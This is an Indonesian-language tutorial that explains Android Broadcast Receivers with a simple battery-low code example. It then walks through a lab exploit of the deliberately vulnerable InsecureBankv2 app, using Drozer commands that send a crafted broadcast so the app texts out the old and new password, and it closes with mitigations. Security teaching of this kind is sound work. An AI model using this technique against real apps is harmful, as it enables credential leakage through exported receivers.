Broadcast Receiver adalah komponen dalam sistem operasi Android yang memungkinkan aplikasi untuk merespons pengumuman yang disiarkan oleh aplikasi lain atau oleh sistem itu sendiri. Mereka digunakan untuk mendengarkan dan bereaksi terhadap peristiwa atau intent yang bersifat sistem-wide, seperti ketika perangkat sedang mengisi daya, ketika layar dihidupkan atau dimatikan, atau ketika foto diambil.
Berikut penjelasan lebih rinci tentang Broadcast Receiver:
- Functionality :
- Receiving Broadcasts : Mereka mendengarkan intent yang disiarkan dan bertindak berdasarkan itu. Misalnya, sebuah aplikasi mungkin ingin tahu ketika perangkat selesai booting sehingga bisa memulai layanan tertentu.
- System Events : Siaran sistem yang umum termasuk peristiwa seperti perubahan level baterai, perubahan konektivitas (seperti beralih antara Wi-Fi dan data seluler), dan pesan teks yang masuk.
- Custom Broadcasts : Aplikasi juga bisa mendefinisikan dan mengirim siaran kustom mereka sendiri untuk berkomunikasi dengan aplikasi lain atau dalam aplikasi yang sama.
- Lifecycle :
- Dynamic Registration : Broadcast Receiver dapat didaftarkan secara dinamis dalam kode menggunakan metode
registerReceiver()
. Ini memungkinkan receiver untuk aktif hanya ketika aplikasi membutuhkannya. - Static Registration : Mereka juga bisa dideklarasikan secara statis dalam file
AndroidManifest.xml
, yang berarti mereka selalu mendengarkan siaran yang ditentukan bahkan jika aplikasi tidak berjalan.
- Dynamic Registration : Broadcast Receiver dapat didaftarkan secara dinamis dalam kode menggunakan metode
- Usage Examples :
- Alarm Management : Sebuah aplikasi mungkin mengatur alarm yang memicu pada waktu tertentu, dan Broadcast Receiver akan menangani peristiwa alarm tersebut.
- Network Monitoring : Aplikasi dapat menggunakan Broadcast Receiver untuk memantau perubahan dalam konektivitas jaringan.
- Battery Level Changes : Aplikasi dapat merespons perubahan level baterai perangkat, seperti mengurangi aktivitas latar belakang ketika baterai rendah.
- Security Considerations :
- Permissions : Beberapa siaran memerlukan izin khusus. Misalnya, untuk menerima siaran bahwa pesan SMS baru telah tiba, sebuah aplikasi harus mendeklarasikan izin yang sesuai dalam manifestonya.
- Intent Filters : Filter intent digunakan untuk menentukan siaran mana yang harus didengarkan oleh receiver. Definisi filter intent yang cermat sangat penting untuk memastikan bahwa receiver tidak menangani siaran yang tidak diinginkan, yang dapat menyebabkan kerentanan keamanan.
- Implementation :
- Creating a Broadcast Receiver : Kamu perlu meng-extend kelas
BroadcastReceiver
dan mengoverride metodeonReceive()
. Metode ini dipanggil ketika Broadcast Receiver menerima intent. - Registering a Receiver : Pendaftaran dapat dilakukan baik dalam file manifest untuk registrasi statis atau dalam kode untuk registrasi dinamis.
- Creating a Broadcast Receiver : Kamu perlu meng-extend kelas
Berikut adalah contoh sederhana Broadcast Receiver di Android :
// Langkah 1: Membuat kelas Broadcast Receiver
public class MyBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// Kode yang dieksekusi saat siaran diterima
String action = intent.getAction();
if (action.equals(Intent.ACTION_BATTERY_LOW)) {
// Menangani peristiwa baterai rendah
}
}
}
// Langkah 2: Mendaftarkan receiver di AndroidManifest.xml (untuk registrasi statis)
<receiver android:name=".MyBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BATTERY_LOW" />
</intent-filter>
</receiver>
// Atau, daftar receiver secara dinamis di aktivitas atau layanan
IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_LOW);
MyBroadcastReceiver receiver = new MyBroadcastReceiver();
registerReceiver(receiver, filter);
Singkatnya, Broadcast Receiver adalah fitur yang kuat di Android yang memungkinkan aplikasi merespons berbagai peristiwa sistem-wide, meningkatkan interaksi antara aplikasi, pengguna, dan sistem.
Penting untuk memahami bagaimana Broadcast Receiver bisa menjadi titik rentan yang dapat dieksploitasi oleh pihak yang tidak bertanggung jawab untuk melakukan serangan atau mendapatkan akses tidak sah ke data dan fungsi dalam sebuah aplikasi.
Broadcast Receiver and Security Risks
Broadcast Receiver biasanya hanya merupakan gerbang ke komponen lain yang melakukan pekerjaan kecil. Misalnya, broadcast receiver dapat membangun sebuah JobService
untuk menjalankan pekerjaan berdasarkan suatu peristiwa dengan JobScheduler
. Broadcast receiver diimplementasikan sebagai subkelas dari BroadcastReceiver
, dan setiap siaran dikirimkan sebagai “intent objek.” Untuk lebih jelasnya, cek dokumentasi resmi tentang BroadcastReceiver.
Exploitation
Untuk eksploitasi ini, saya akan menggunakan InsecureBankv2 dan Drozer.
Konfigurasi Server AndroLab
git clone https://github.com/dineshshetty/InsecureBankv2.git
cd InsecureBankv2/AndroLabServer
pip install -r requirements.txt
Menjalankan Server
python3 app.py
Setelah server AndroLab berhasil dijalankan, kita dapat melanjutkan dengan menginstal aplikasi InsecureBankv2 pada perangkat Android dan menggunakan Drozer untuk menguji dan mengeksploitasi broadcast receiver yang tidak aman.
Arahkan aplikasi ke alamat IP dan port tempat server AndroLab berjalan. Dalam contoh ini, alamat IP saya adalah 172.17.21.35 dan port 8888 untuk PC saya
Pengaturan preferensi jaringan akan berhasil dikonfigurasi setelah kita mengklik tombol submit. Untuk menguji apakah aplikasi terhubung ke server, kita dapat mencoba masuk dengan kredensial yang salah dan benar. Ketika kita mencoba masuk dengan kredensial yang benar, output berikut akan dihasilkan, menunjukkan bahwa aplikasi dapat berkomunikasi dengan server AndroLab
Menggunakan Drozer untuk Eksploitasi
Menginstall Drozer
- Unduh dan instal Drozer agent pada perangkat Android. Bisa cek disini untuk cara installnya https://github.com/WithSecureLabs/drozer
- Jalankan agent dan hubungkan ke console Drozer dari terminal.
Menghubungkan Drozer ke Perangkat
adb forward tcp:31415 tcp:31415
drozer console connect
run app.broadcast.info -a com.android.insecurebankv2 -i
run app.broadcast.send --action theBroadcast --extra string phonenumber 987654321 --extra string newpass Tegal123
Pada device, sekarang kita dapat melihat bahwa aplikasi telah mengirimkan pesan SMS yang mencakup password lama serta password baru yang telah kita atur.
Mitigasi
Setting the “android:exported” attribute’s value to false
Untuk melindungi receiver, kita harus menetapkan nilai atribut “android:exported” menjadi false dalam file AndroidManifest.xml-nya.
Custom permissions
Dengan menetapkan custom permission untuk setiap receiver, kita juga dapat menerapkan limit permission. Hal ini berguna jika pengembang ingin membatasi akses komponen aplikasinya hanya kepada aplikasi dengan izin.
Referensi :